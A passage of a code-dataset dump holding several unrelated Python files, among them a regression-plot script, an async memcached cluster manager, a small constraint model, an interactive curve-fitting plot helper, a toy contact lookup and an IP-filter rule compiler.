'{}_TrueVsPre_Tar{}_R2.csv'.format(rang,trgt),\n '{}_TrueVsPre_Tar{}_R3.csv'.format(rang,trgt),\n '{}_TrueVsPre_Tar{}_R4.csv'.format(rang,trgt)]\n ))\n full = full.drop(columns='Unnamed: 0')\n\nfull['Dif'] = full[tar] - full['predicted']\nprint('loaded')\ntrue = full[tar].values\npredicted = full['predicted'].values\n\nrms = sqrt(mean_squared_error(np.squeeze(true), predicted))\nrms\n\nvalues = np.sort(full[tar].unique())\nmean_f = []\nstd_f = []\n\na_list = np.linspace(0,110,12)\nb_list = a_list+10\n\nfor i in values:\n tempvar = full.loc[full[tar] == i].iloc[:,-2].values.mean()\n #tempvar = full.loc[(full[tar] >= A) & (full[tar] < B)].iloc[:,-2].values.mean()\n mean_f.append(tempvar)\nmean_f = np.array(mean_f)\n\nfor i in values:\n tempvar = full.loc[full[tar] == i].iloc[:,-2].values.std()\n #tempvar = full.loc[(full[tar] >= A) & (full[tar] < B)].iloc[:,-2].values.std()\n std_f.append(tempvar)\nstd_f = np.array(std_f)\n\n\nbad = full.loc[full['Dif'] > std_f.mean()]\n\n#param = ['ECA', 'ThickA', 'ECB', 'ThickB', 'ECC']\nx_unit = [' [mS/m]', ' [m]', ' [mS/m]', ' [m]', ' [mS/m]']\nxlim = [100,1.5,100,2,100]\n\n\n# quality of testing as 1:1 plot\ntextstr = 'RMSE: '+str(np.round(rms,2))\n\n#### PLOT 1 ####\n\nfig = plt.figure(figsize = (10,8)) \nax0 = fig.add_subplot(111) \nax0.plot(true,predicted, 'o', markerfacecolor='none' ,label='Test Cases') #Test cases\n\nax0.plot(true,true,label='1:1', color = 'k', linestyle = '--') #1:1 line\n\nax0.plot(values,mean_f, label = \"Mean predicted value\",color='k', lw=0.7)\nax0.fill_between(values,mean_f-std_f*2,mean_f+std_f*2,alpha=.3, label='2 std') #2 std fill\nax0.fill_between(values,mean_f-std_f,mean_f+std_f,alpha=.3, label='1 std') #1 std fill\n\nax0.plot([], [], ' ', label=textstr) #add RMSE to legend\n\nhandles,labels = ax0.get_legend_handles_labels()\n\n#handles2 = [handles[0], handles[1], handles[3], handles[4], handles[2]]\n#labels2 = [labels[0], labels[1], labels[3], labels[4], labels[2]]\n\nhandles2 = [handles[0], handles[1], handles[2], handles[4], handles[5], handles[3]]\nlabels2 = [labels[0], labels[1], labels[2], labels[4], labels[5], labels[3]]\n\n#ax0.set_ylim(-5,105)\nax0.legend(handles2,labels2)\nax0.set_xlabel('True EC [mS/m]')\nax0.set_ylabel('Predicted EC [mS/m]')\n#ax0.set_title('True vs predicted values of ECA for maximum range of all parameters')\n#ax0.set_title('Predicting ECA with training on full parameter range')\nplt.show()\n\n\n#fig = plt.figure()\n#ax1 = fig.add_subplot()\ns1 = 18\ni=0\nfig, ax1 = plt.subplots(figsize=(8,6))\nax2 = ax1.twiny()\n\n#EC\nax1.hist(bad[param[i]] ,alpha=1, rwidth=0.85, histtype='step', label='ECA', color='blue')\nax1.hist(bad[param[i+2]] ,alpha=1, rwidth=0.85, histtype='step', label='ECB', color='red') \nax1.hist(bad[param[i+4]] ,alpha=1, rwidth=0.85, histtype='step', label='ECC', color='magenta')\n#Thickness\nax2.hist(bad[param[i+1]] ,alpha=1, rwidth=0.85, histtype='step', linestyle=('solid'), color='green') \nax2.hist(bad[param[i+3]] ,alpha=1, rwidth=0.85, histtype='step', linestyle=('solid'), color='gray')\n\nax2.plot([], [], '-', label=\"ECA\", color='blue')\nax2.plot([], [], '-', label=\"ThickA\", color='green')\nax2.plot([], [], '-', label=\"ECB\", color='red')\nax2.plot([], [], '-', label=\"ThickB\", color='gray')\nax2.plot([], [], '-', label=\"ECC\", color='magenta')\n\n\nax2.legend(prop={'size': 14})\nax1.set_xlabel('Electrical conductivity [mS/m]',fontsize=(s1))\nax1.set_ylabel('Frequency',fontsize=(s1))\nax2.set_xlabel('Thickness [Meter]',fontsize=(s1))\n#ax2.set_title('CS',fontsize=(s1))\n\nax1.tick_params(axis='both', which='major', labelsize=14)\nax2.tick_params(axis='both', which='major', labelsize=14)\nplt.tight_layout()\n\n\n\n\n\ns1 = 18\ni=14 # 5=HCP, 14=VCP, 23=PRP\nfig, ax1 = plt.subplots(figsize=(8,6))\n#ax2 = ax1.twiny()\n\n#EC\nax1.hist(bad[bad.columns[i]] ,alpha=1, rwidth=0.85, histtype='step', label=bad.columns[i], color='blue')\nax1.hist(bad[bad.columns[i+3]] ,alpha=1, rwidth=0.85, histtype='step', label=bad.columns[i+3], color='red') \nax1.hist(bad[bad.columns[i+6]] ,alpha=1, rwidth=0.85, histtype='step', label=bad.columns[i+6], color='magenta')\n#Thickness\n#ax2.hist(bad[param[i+1]] ,alpha=1, rwidth=0.85, histtype='step', linestyle=('solid'), color='green') \n#ax2.hist(bad[param[i+3]] ,alpha=1, rwidth=0.85, histtype='step', linestyle=('solid'), color='gray')\n\nax1.set_xlabel('Electrical conductivity [mS/m]',fontsize=(s1))\nax1.set_ylabel('Frequency',fontsize=(s1))\nax1.legend(prop={'size': 14})\n\nax1.tick_params(axis='both', which='major', labelsize=14)\nax2.tick_params(axis='both', which='major', labelsize=14)\nplt.tight_layout()\n\n\n\n\n","sub_path":"Fig 3 4 and 6/Fig 3 4 and 6.py","file_name":"Fig 3 4 and 6.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"638752086","text":"import asyncio\nimport logging\nfrom typing import Dict, List, Mapping, Optional, Sequence\n\nfrom ._cython import cyemcache\nfrom .base import ClusterEvents, ClusterManagment\nfrom .client_errors import ClusterNoAvailableNodes\nfrom .connection_pool import ConnectionPoolMetrics\nfrom .node import MemcachedHostAddress, Node\n\nlogger = logging.getLogger(__name__)\n\nMAX_EVENTS = 1000\n\n\nclass _ClusterManagment(ClusterManagment):\n _cluster: \"Cluster\"\n\n def __init__(self, cluster: \"Cluster\") -> None:\n self._cluster = cluster\n\n def nodes(self) -> List[MemcachedHostAddress]:\n \"\"\"Return the nodes that belong to the cluster.\"\"\"\n return [node.memcached_host_address for node in self._cluster.nodes]\n\n def healthy_nodes(self) -> List[MemcachedHostAddress]:\n \"\"\"Return the nodes that are considered healthy.\"\"\"\n return [node.memcached_host_address for node in self._cluster.healthy_nodes]\n\n def unhealthy_nodes(self) -> List[MemcachedHostAddress]:\n \"\"\"Return the nodes that are considered unhealthy.\"\"\"\n return [node.memcached_host_address for node in self._cluster.unhealthy_nodes]\n\n def connection_pool_metrics(self) -> Mapping[MemcachedHostAddress, ConnectionPoolMetrics]:\n \"\"\"Return metrics gathered at emcache driver side for each of the\n cluster nodes for its connection pool.\n\n For more information about what metrics are being returned take a look\n to the `ConnectionPoolMetrics`.\n \"\"\"\n return {node.memcached_host_address: node.connection_pool_metrics() for node in self._cluster.nodes}\n\n\nclass Cluster:\n \"\"\"Cluster class is used for keeping all of the nodes together, and\n for providing any interface that needs to have visibility of all of\n those nodes that belong to a cluster.\n\n As an example, the node selection for a sepcific key, is being provided\n by the Cluster class.\n \"\"\"\n\n _cluster_events: Optional[ClusterEvents]\n _purge_unhealthy_nodes: bool\n _healthy_nodes: List[Node]\n _unhelathy_nodes: List[Node]\n _rdz_nodes: List[cyemcache.RendezvousNode]\n _events_dispatcher_task: asyncio.Task\n _events: asyncio.Queue\n _closed: bool\n\n def __init__(\n self,\n memcached_hosts_address: Sequence[MemcachedHostAddress],\n max_connections: int,\n min_connections: int,\n purge_unused_connections_after: Optional[float],\n connection_timeout: Optional[float],\n cluster_events: Optional[ClusterEvents],\n purge_unhealthy_nodes: bool,\n ssl: bool,\n ssl_verify: bool,\n ssl_extra_ca: Optional[str],\n ) -> None:\n\n if not memcached_hosts_address:\n raise ValueError(\"Nodes can't be an empty list, at least one node has to be provided\")\n\n self._cluster_events = cluster_events\n self._purge_unhealthy_nodes = purge_unhealthy_nodes\n\n # Create nodes and configure them to be used by the Rendezvous\n # hashing. By default all are placed under the healthy list, if later\n # on they report that are unhealhty and `purge_unhealthy_nodes` has been\n # configured they will be removed.\n self._unhealthy_nodes = []\n self._healthy_nodes = [\n Node(\n memcached_host_address,\n max_connections,\n min_connections,\n purge_unused_connections_after,\n connection_timeout,\n self._on_node_healthy_status_change_cb,\n ssl,\n ssl_verify,\n ssl_extra_ca,\n )\n for memcached_host_address in memcached_hosts_address\n ]\n self._build_rdz_nodes()\n self._cluster_managment = _ClusterManagment(self)\n self._events = asyncio.Queue(maxsize=MAX_EVENTS)\n self._events_dispatcher_task = asyncio.get_running_loop().create_task(self._events_dispatcher())\n self._closed = False\n logger.debug(f\"Cluster configured with {len(self.nodes)} nodes\")\n\n async def _events_dispatcher(self):\n logger.debug(f\"Events dispatcher started\")\n while True:\n try:\n coro = await self._events.get()\n except asyncio.CancelledError:\n # if a cancellation is received we stop processing events\n break\n\n try:\n await coro\n except Exception:\n logger.exception(f\"Hook raised an exception, continuing processing events\")\n\n logger.debug(\"Events dispatcher stopped\")\n\n def _build_rdz_nodes(self):\n \"\"\"Builds the list of rdz nodes using the nodes that claim to be healhty.\"\"\"\n if self._purge_unhealthy_nodes:\n nodes = self._healthy_nodes\n else:\n nodes = self._healthy_nodes + self._unhealthy_nodes\n\n logger.info(f\"Nodes used for sending traffic: {nodes}\")\n\n self._rdz_nodes = [cyemcache.RendezvousNode(node.host, node.port, node) for node in nodes]\n\n def _on_node_healthy_status_change_cb(self, node: Node, healthy: bool):\n \"\"\"CalleClose any active background task and close all TCP\n connections.\n\n It does not implement any gracefull close at operation level,\n if there are active operations the outcome is not predictabled\n by the node for telling that the healthy status has changed.\"\"\"\n if healthy:\n assert node in self._unhealthy_nodes, \"Node was not tracked by the cluster as unhealthy!\"\n self._unhealthy_nodes.remove(node)\n self._healthy_nodes.append(node)\n logger.info(f\"Node {node} reports a healthy status\")\n else:\n assert node in self._healthy_nodes, \"Node was not tracked by the cluster as healthy!\"\n self._healthy_nodes.remove(node)\n self._unhealthy_nodes.append(node)\n logger.warning(f\"Node {node} reports an unhealthy status\")\n\n self._build_rdz_nodes()\n\n # trigger cluster events if they were provided\n if self._cluster_events:\n try:\n if healthy:\n self._events.put_nowait(\n self._cluster_events.on_node_healthy(self._cluster_managment, node.memcached_host_address)\n )\n else:\n self._events.put_nowait(\n self._cluster_events.on_node_unhealthy(self._cluster_managment, node.memcached_host_address)\n )\n except asyncio.QueueFull:\n logger.warning(\"Events can't be dispathed, queue full\")\n\n async def close(self):\n \"\"\"Close any active background task and close all nodes\"\"\"\n # Theoretically as it is being implemented, the client must guard that\n # the cluster close method is only called once yes or yes.\n assert self._closed is False\n\n self._closed = True\n\n if not self._events_dispatcher_task.done():\n self._events_dispatcher_task.cancel()\n\n try:\n await self._events_dispatcher_task\n except asyncio.CancelledError:\n pass\n\n for node in self.nodes:\n await node.close()\n\n def pick_node(self, key: bytes) -> Node:\n \"\"\"Return the most appropiate node for the given key.\n\n Node selected will be resolved by the Rendezvous hashing\n algorithm, which will be idempotent when the cluster nodes\n do not change.\n \"\"\"\n if len(self._rdz_nodes) == 0:\n raise ClusterNoAvailableNodes()\n\n return cyemcache.node_selection(key, self._rdz_nodes)\n\n def pick_nodes(self, keys: bytes) -> Dict[Node, List[bytes]]:\n \"\"\"Return the most appropiate nodes for the given keys.\n\n Return value is a dictionary where nodes stand for keys\n and values are the list of keys that would need to be used\n for that node.\n\n Nodes selected will be resolved by the Rendezvous hashing\n algorithm, which will be idempotent when the cluster nodes\n do not change.\n \"\"\"\n if len(self._rdz_nodes) == 0:\n raise ClusterNoAvailableNodes()\n\n return cyemcache.nodes_selection(keys, self._rdz_nodes)\n\n def node(self, memcached_host_address: MemcachedHostAddress) -> Node:\n \"\"\"Return the emcache Node that matches with a memcached_host_address.\"\"\"\n for node in self.nodes:\n if node.memcached_host_address == memcached_host_address:\n return node\n\n raise ValueError(f\"{memcached_host_address} can not be found\")\n\n @property\n def cluster_managment(self) -> ClusterManagment:\n return self._cluster_managment\n\n @property\n def nodes(self) -> List[Node]:\n return self._healthy_nodes + self._unhealthy_nodes\n\n @property\n def healthy_nodes(self) -> List[Node]:\n return self._healthy_nodes[:]\n\n @property\n def unhealthy_nodes(self) -> List[Node]:\n return self._unhealthy_nodes[:]\n","sub_path":"emcache/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":8974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"109590736","text":"from constraints.constraint_main.constraint import Constraint\nfrom constraints.enums.constraint_input_mode import ConstraintInputMode\nfrom constraints.enums.model_family import ModelFamily\nfrom constraints.models.model_parent import Model\nfrom constraints.enums.input_type import InputType\nfrom task_main.task import Task\n\nclass RatingModel(Model):\n def __init__(self):\n self.name = \"Rating\"\n self.model_family = ModelFamily.CONSTRAINT\n self.input_type = InputType.STRING\n self.input_mode = ConstraintInputMode.PRE_DEF\n self.input_count = 2\n self.output_type = InputType.BOOL\n\n super().__init__(self.name, self.model_family, self.input_type,\n self.input_mode, self.input_count, self.output_type)\n \n def run(self, inputs, configuration_inputs={}):\n super().run(inputs)\n \n review_msg = inputs[0]\n review_score = inputs[1]\n \n self.add_configuration_input(review_msg, \"review_msg\")\n self.add_configuration_input(review_score, \"review_score\")\n \n self._complete(True)\n\n def _complete(self, data, aborted=False):\n super()._complete(data, aborted)\n constraint: Constraint = self.constraint\n constraint.completion_data = constraint.configuration_inputs\n \n\n","sub_path":"constraint_models/rating_model.py","file_name":"rating_model.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"525778568","text":"import matplotlib as mpl\nfrom matplotlib import gridspec\nimport numpy as np\nimport matplotlib.pyplot as plt\n# from lmfit import Minimizer, Parameters, report_fit\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\ndef partext(selected=''):\n global pars\n text = ''\n for par in pars:\n if (par == selected):\n text += '> '\n else:\n text += ' '\n text += str(par).ljust(12)\n text += \"{:6.2f}\".format(pars.valuesdict()[par])\n\n if pars[par].vary:\n text += u' \\xb1'\n text += '\\n'\n # if par == 'tmax_s':\n # text +='\\n'\n return text\n\n\ndef old_init_parplot(pars, D3=False):\n global plt\n global txt\n\n\ndef keyevent(event=None):\n global selected\n global buf\n global plt\n global txt\n if event == None:\n return\n\n print('Event!!!!', event.key)\n\n print(event.key)\n try:\n buf += event.key\n except:\n buf = event.key\n try:\n pars[selected].value = float(buf)\n except:\n if buf != '-':\n buf = ''\n try:\n selected = selected\n except:\n selected = pars.valuesdict().keys()[0]\n\n key = event.key.split('+')\n i = pars.valuesdict().keys().index(selected)\n if key[-1] == u'down':\n i += 1\n if i >= len(pars): i = 0\n selected = pars.valuesdict().keys()[i]\n elif key[-1] == u'up':\n i -= 1\n if i < 0: i = len(pars) - 1\n selected = pars.valuesdict().keys()[i]\n elif key[-1] in [u'left', u'right']:\n if pars[selected].value == 0:\n step = 0\n else:\n step = np.floor(np.log10(np.abs(pars[selected].value))) - 1\n if (step < -1): step = -1\n multiplier = 1\n if key[0] == u'alt': step += 1\n if key[0] == u'ctrl': step -= 1\n if key[-1] == u'left': multiplier *= -1\n step = multiplier * 10 ** step\n pars[selected].value += step\n\n elif event.key == 'ctrl+t':\n pars[selected].vary = not pars[selected].vary\n elif event.key == 'ctrl+x':\n plt.close()\n elif event.key == 'ctrl+a':\n plt.autoscale()\n txt.set_text(partext(selected=selected))\n plot_par_function(pars)\n plt.show()\n return\n\n\ndef handle_close(evt=None):\n global pars\n print('Closed Figure!')\n print(pars)\n return\n\n\ndef init_parplot(x, y, fitfunction, pars_in, fig):\n\n import matplotlib.pyplot as plt\n from matplotlib import gridspec\n\n global plt, txt\n global fit, fittedfunction, pars\n global xval, yval\n\n xval = x\n yval = y\n pars = pars_in\n\n fittedfunction = fitfunction\n\n '''\n gridsize = 6\n fig = plt.figure()\n gs = gridspec.GridSpec(gridsize, gridsize)\n # gs.update(wspace=0.4, hspace=0.4)\n\n\n ax = fig.add_subplot(gs[:, 2:])\n ax.scatter(x, y, s=40, facecolors='none', edgecolors='b')\n '''\n\n Z, Zi, Gi = fitfunction(y, pars)\n\n fit = plt.plot(Z, y, color='black', linewidth = 3)\n\n fig.canvas.mpl_connect('key_press_event', keyevent)\n fig.canvas.mpl_connect('close_event', handle_close)\n # keyevent()\n # handle_close()\n # plt.show()\n return fig\n\n\ndef plot_par_function(pars):\n global fit, fittedfunction\n global xval, yval, ref_of\n\n if str(fit).find('Line2D') > 0:\n fit[0].set_ydata(fittedfunction(xval, pars))\n elif str(fit).find('Line3D') > 0:\n x, y, z = fittedfunction(xval, yval, pars, ref=ref_of)\n fit[0].set_data([x, y])\n fit[0].set_3d_properties(z, 'z')\n plt.show()\n return\n\n\ndef myfunction2D(x, pars):\n y = x * pars.valuesdict()['L_bp']\n return np.sqrt(y)\n\n\ndef main():\n\n # placed here, otherwise it breaks the plotting\n\n mpl.use(u'TkAgg')\n mpl.interactive(True)\n\n # pars = MT.default_pars()\n x = np.arange(10)\n y = x\n y = myfunction2D(x, y, pars)\n\n fig, ax = init_parplot(x, y, myfunction2D, pars)\n # fig, ax = init_parplot(x, y, myfunction3D, pars, z=z, ref=[])\n\n # plt.rcParams['keymap.fullscreen'] = [u'ctrl+f']\n # print(plt.rcParams)\n\n # print(changepar(144.224, 'up'))\n return\n\n\nif __name__ == \"__main__\":\n # execute only if run as a script\n main()\n","sub_path":"HMf/PlotFit_HMf.py","file_name":"PlotFit_HMf.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104542079","text":"contact={1:{'name':'vidhi','email':'vidhi.joshi@gmail.com','phoneno':'9862736478','Address':'xyz street,mulund east'},\r\n 2:{'name':'hrutuja','email':'hrutuborhade@gmail.com','phoneno':'9371836478','Address':'pqr street,vikhroli west'},\r\n 3:{'name':'sahil','email':'sahilb@gmail.com','phoneno':'9087236478','Address':'abc street,vashi west'}}\r\n\r\ni=input(\"enter name or emailid or number : \")\r\nfor cid,cinfo in contact.items():\r\n for key in cinfo:\r\n if (i==cinfo[key]):\r\n for i in cinfo:\r\n print(i+\":\",cinfo[i])\r\n \r\n \r\n \r\n \r\n","sub_path":"contact1.py","file_name":"contact1.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396177528","text":"'''\nilf - compiler\n'''\n\nimport os\nimport json\n\nfrom .parse import parse\nfrom .core import Ip4Filter, Ival\n\n\n# -- GLOBALS\n# (re)initialized by compile_file\nGROUPS = {} # grp-name -> set([networks,.. , services, ..])\n\n# -- AST = [(pos, [type, id, value]), ..]\n\n\ndef ast_iter(ast, types=None):\n 'iterate across statements of requested types'\n types = [] if types is None else types\n yield_all = len(types) == 0\n for pos, stmt in ast:\n if yield_all or stmt[0] in types:\n yield (pos, stmt)\n\n\ndef ast_enum(ast, types=None):\n 'enumerate across statements of requested types'\n types = [] if types is None else types\n yield_all = len(types) == 0\n for idx, (pos, stmt) in enumerate(ast):\n if yield_all or stmt[0] in types:\n yield (idx, pos, stmt)\n\n\ndef ast_errmsg(pos, err_type, stmt_type, msg):\n 'small helper to easily create ERROR/WARNING stmts'\n return (pos, [err_type, stmt_type, msg])\n\n\ndef ast_includes(ast):\n 'expand include-statements in-place'\n seen = {}\n idx = -1\n while idx+1 < len(ast): # while loop since ast is expanding\n idx += 1\n (fname, linenr, col), stmt = ast[idx]\n if stmt[0] != 'INCLUDE':\n continue\n\n absname = os.path.realpath(os.path.normpath(\n os.path.join(os.path.dirname(fname), stmt[1])))\n if absname in seen:\n ast[idx] = ast_errmsg(\n (fname, linenr, 1),\n 'ERROR', stmt[0],\n '{} already included at {}'.format(absname, seen[absname]))\n continue\n\n seen[absname] = '{}:{}:{}'.format(fname, linenr, col) # record include\n try:\n with open(absname, 'r') as fhdl:\n include_ast = parse(fhdl) # possibly includes new includes(..)\n except (IOError, OSError):\n ast[idx] = ast_errmsg(\n (fname, linenr, 1),\n 'ERROR', stmt[0],\n 'cannot find/read {}'.format(absname))\n continue\n\n ast[idx:idx+1] = include_ast # replace include(file) with its stmts\n\n return ast\n\n\ndef _ivalify(lst, *types):\n 'turn a list of tokens (IP, PORTSTR, STR) into a list of Ivals'\n global GROUPS\n rv, errs = [], [] # in case of errors\n for elm in lst:\n try:\n if elm[0] == 'IP':\n rv.append(Ival.ip_pfx(elm[1]))\n elif elm[0] == 'PORTSTR':\n rv.append(Ival.port_str(elm[1]))\n elif elm[0] == 'STR':\n # rv.extend(GROUPS[elm[1]])\n rv.extend(GROUPS.get(elm[1], []))\n except (ValueError, KeyError):\n errs.append(elm[1])\n\n if len(errs):\n msg = 'Invalid item(s): {}'.format(', '.join(errs))\n raise ValueError(msg)\n return [i for i in rv if i.type in types]\n\n\ndef ast_ivalify(ast):\n 'turn IP- and PORTSTR-values into Ival-s'\n for idx, pos, stmt in ast_enum(ast, ['GROUP', 'RULE', 'RULEPLUS']):\n try:\n if stmt[0] == 'GROUP':\n ivals = Ival.summary(_ivalify(stmt[2], Ival.IP, Ival.PORTSTR))\n ast[idx] = (pos, (stmt[0], stmt[1], ivals))\n elif stmt[0] == 'RULEPLUS':\n scope = Ival.PORTSTR if stmt[1] == '@' else Ival.IP\n ivals = Ival.summary(_ivalify(stmt[2]), scope)\n ast[idx] = (pos, (stmt[0], stmt[1], ivals))\n\n elif stmt[0] == 'RULE':\n srcs = Ival.summary(_ivalify(stmt[2], Ival.IP))\n dsts = Ival.summary(_ivalify(stmt[4], Ival.IP))\n srvs = Ival.summary(_ivalify(stmt[5], Ival.PORTSTR))\n ast[idx] = (pos, (stmt[0], stmt[1], srcs, stmt[3],\n dsts, srvs, *stmt[6:]))\n else:\n raise ValueError('{} invalid stmt for ast_ivalify'.format(\n stmt[0]))\n except ValueError as e:\n ast[idx] = ast_errmsg(pos, 'ERROR', stmt[0], '{}'.format((e)))\n\n return ast\n\n\ndef ast_jsonify(ast):\n 'turn a rule\\'s json string into a python dict'\n # only RULE tuple's have json string (or None) as last element\n for idx, pos, stmt in ast_enum(ast, ['RULE']):\n try:\n dta = None if stmt[-1] is None else json.loads(stmt[-1])\n ast[idx] = (pos, (*stmt[0:-1], dta))\n except (TypeError, json.decoder.JSONDecodeError) as e:\n print('could not decode ', stmt[-1])\n ast[idx] = ast_errmsg(pos, 'ERROR', stmt[0],\n 'json-error: {}'.format((e)))\n return ast\n\n\ndef expand_refs(dct):\n 'return an expanded member list from a, possibly, recursive definition'\n # dct is {name} -> set([name, ..]), which may refer to other names\n for target, mbrs in dct.items():\n heap = list(mbrs) # mbrs name ('STR', name)\n seen, dct[target] = [target], set([])\n while heap:\n nxt = heap.pop()\n if nxt in seen: # circular reference\n continue\n seen.append(nxt)\n if nxt in dct:\n heap.extend(list(dct[nxt]))\n dct[target].add(nxt)\n\n return dct\n\n\ndef ast_symbol_table(ast):\n 'Build the symbol table for the ast'\n # need 2 passes, since forward referencing is allowed\n global GROUPS\n # (re-)initialise symbol table\n GROUPS = {'any': set([Ival.ip_pfx('any')]),\n 'any/any': set([Ival.port_str('any/any')])}\n TODO = {} # GROUP-name -> [group-names to include]\n\n # 1st pass, collect direct IP/PORTSTR's per groupname and\n # defer group references till phase2\n for idx, pos, stmt in ast_enum(ast, ['GROUP']):\n _, grpname, mbrs = stmt\n refs = [t[1] for t in mbrs if t[0] == 'STR'] # only the name\n TODO.setdefault(grpname, set()).update(refs) # defer named ref's\n grpdef = GROUPS.setdefault(grpname, set()) # always define symbol\n\n try:\n ivals = _ivalify([m for m in mbrs if m[0] != 'STR'],\n Ival.IP, Ival.PORTSTR)\n grpdef.update(ivals) # add straight IP/PORTSTR's to symbol def.\n except ValueError as e:\n ast[idx] = (pos, ('ERROR', 'GROUP', e.args[0]))\n print('dir ValueError as e', e, dir(e), e.args)\n\n # 2nd pass, expand delayed references\n for name, mbrs in expand_refs(TODO).items():\n for mbr in mbrs:\n xtra = GROUPS.get(mbr, [])\n if len(xtra) == 0:\n print('empty ref', mbr, 'for group', name)\n GROUPS.setdefault(name, set()).update(xtra)\n\n return GROUPS\n\n\ndef ast_rules(ast):\n 'expand elements of the defined rules'\n # ('RULE', , [src], DIR, [dst], [srv], ('ACTION',act), )\n rules = []\n for pos, stmt in ast_iter(ast, ['RULE', 'RULEPLUS']):\n if stmt[0] == 'RULE':\n rules.append(list(stmt[1:]))\n elif stmt[0] == 'RULEPLUS':\n if len(rules) == 0:\n raise ValueError('dangling:{}'.format(str(stmt)))\n if '@' == stmt[1]:\n rules[-1][4].extend(stmt[2])\n if '<' in stmt[1]:\n rules[-1][1].extend(stmt[2])\n if '>' in stmt[1]:\n rules[-1][3].extend(stmt[2])\n else:\n raise ValueError('ast_rules cannot handle stmt {!r}'.format(stmt))\n\n # proces direction of rules\n # rule := [name, src, dst, srv, action, json-str]\n rv = []\n for rule in rules:\n direction = rule[2] # capture direction and remove field\n del rule[2]\n rule[1] = Ival.summary(rule[1]) # summarize src\n rule[2] = Ival.summary(rule[2]) # summarize dst\n rule[3] = Ival.summary(rule[3]) # summarize srv\n if direction == '>':\n rv.append(rule)\n elif direction == '<':\n rule[1], rule[2] = rule[2], rule[1]\n rv.append(rule)\n else:\n rv.append(rule.copy())\n if rule[1] != rule[2]:\n rule[1], rule[2] = rule[2], rule[1]\n rv.append(rule)\n\n return rv\n\n\n# -- SEMANTICS\n\n\ndef ast_semantics(ast):\n 'run all chk_ast_funcs on ast'\n # all chk_xyz(ast) -> must return an (un)modified, valid ast\n for check in [x for x in globals() if x.startswith('chk_')]:\n semantics = globals()[check]\n # XXX: log on informational level to console\n print('semantics:', semantics.__doc__)\n ast = semantics(ast)\n return ast\n\n\ndef chk_ast_dangling(ast):\n 'checking RULE(PLUS) scopes'\n scope = None # determines current scope (if any)\n for idx, pos, stmt in ast_enum(ast):\n if stmt[0] == 'BLANK':\n continue\n if stmt[0] == 'RULEPLUS' and scope not in ['RULE', 'RULEPLUS']:\n ast[idx] = (pos, ('ERROR', 'RULEPLUS',\n 'not in scope of a RULE'))\n scope = stmt[1] if stmt[0] in ['ERROR', 'WARNING'] else stmt[0]\n\n return ast\n\n\ndef chk_ast_refs(ast):\n 'check group references'\n global GROUPS\n\n def undefined_refs(lst):\n return [x[1] for x in lst if x[0] == 'STR' and x[1] not in GROUPS]\n\n def empty_refs(lst):\n return [x[1] for x in lst if x[0] == 'STR' and x[1] in GROUPS and len(\n GROUPS.get(x[1], [])) == 0]\n\n for idx, pos, stmt in ast_enum(ast, ['GROUP', 'RULE', 'RULEPLUS']):\n unrefs = undefined_refs(stmt[2]) # unknown group-references\n emptyrefs = empty_refs(stmt[2]) # undefined group-references\n if stmt[0] == 'RULE':\n unrefs += undefined_refs(stmt[4]) # add unknown dsts\n emptyrefs += empty_refs(stmt[4])\n unrefs += undefined_refs(stmt[5]) # add unknown srvs\n emptyrefs += empty_refs(stmt[5])\n\n if len(unrefs) and len(emptyrefs):\n msg = 'has empty ref: {} and undefined refs: {}'.format(\n ', '.join(emptyrefs), ', '.join(unrefs))\n elif len(unrefs):\n msg = 'has undefined references: {}'.format(unrefs)\n elif len(emptyrefs):\n msg = 'has empty references: {}'.format(emptyrefs)\n else:\n continue # all is ok\n\n ast[idx] = (pos, ('ERROR', stmt[0], msg))\n\n return ast\n\n\ndef chk_ast_args(ast):\n 'checking argument validity'\n # RULEPLUS @ has STR's or PORTSTR's, else its an ERROR\n # RULEPLUS <,>,<> has STR's or IP's, else its an ERROR\n # RULE, same checks for src, dst and services\n NETARGS = ('IP', 'STR')\n SRVARGS = ('PORTSTR', 'STR')\n ALLARGS = set([*NETARGS, *SRVARGS])\n\n for idx, pos, stmt in ast_enum(ast, ['GROUP', 'RULE', 'RULEPLUS']):\n illegal = []\n\n if stmt[0] == 'GROUP':\n illegal = [x[1] for x in stmt[2] if x[0] not in ALLARGS]\n\n elif stmt[0] == 'RULE':\n illegal = [x[1] for x in stmt[2] if x[0] not in NETARGS]\n illegal.extend(x[1] for x in stmt[4] if x[0] not in NETARGS)\n illegal.extend(x[1] for x in stmt[5] if x[0] not in SRVARGS)\n\n elif stmt[0] == 'RULEPLUS':\n if stmt[1] == '@':\n illegal = [x[1] for x in stmt[2] if x[0] not in SRVARGS]\n else:\n illegal = [x[1] for x in stmt[2] if x[0] not in NETARGS]\n\n else:\n raise ValueError('stmt args check: unknown stmt type {}'.format(\n stmt[1]))\n\n if len(illegal):\n msg = 'illegal args: {}'.format(', '.join(str(i) for i in illegal))\n ast[idx] = (pos, ('ERROR', stmt[0], msg))\n\n return ast\n\n\n# -- Compile\n\ndef print_ast(ast):\n 'print out the abstract syntax tree'\n for pos, stmt in ast:\n print('{}:{}:{}'.format(os.path.relpath(pos[0]), pos[1], pos[2]),\n *(elm for elm in stmt))\n\n\ndef compile(src):\n 'compile file or script text into IP4Filter object'\n global GROUPS\n\n try:\n fhdl = open(src, \"rt\") # either a filename\n except (IOError, OSError):\n import io # or text\n fhdl = io.StringIO(src)\n\n ast = parse(fhdl)\n ast = ast_includes(ast) # include & parse include(files)\n GROUPS = ast_symbol_table(ast) # create new symbol table\n ast = ast_semantics(ast) # check validity of ast\n ast = ast_ivalify(ast) # turn IP, PORTSTR strings into Ival's\n ast = ast_jsonify(ast) # turn json str into python object\n\n errors = list(ast_iter(ast, 'ERROR'))\n warnings = list(ast_iter(ast, 'WARNING'))\n for pos, msg in errors:\n print('Error:{}:{}'.format(pos, msg))\n for pos, msg in warnings:\n print('Warning:{}:{}'.format(pos, msg))\n print('Score: E{}, W{}'.format(len(errors), 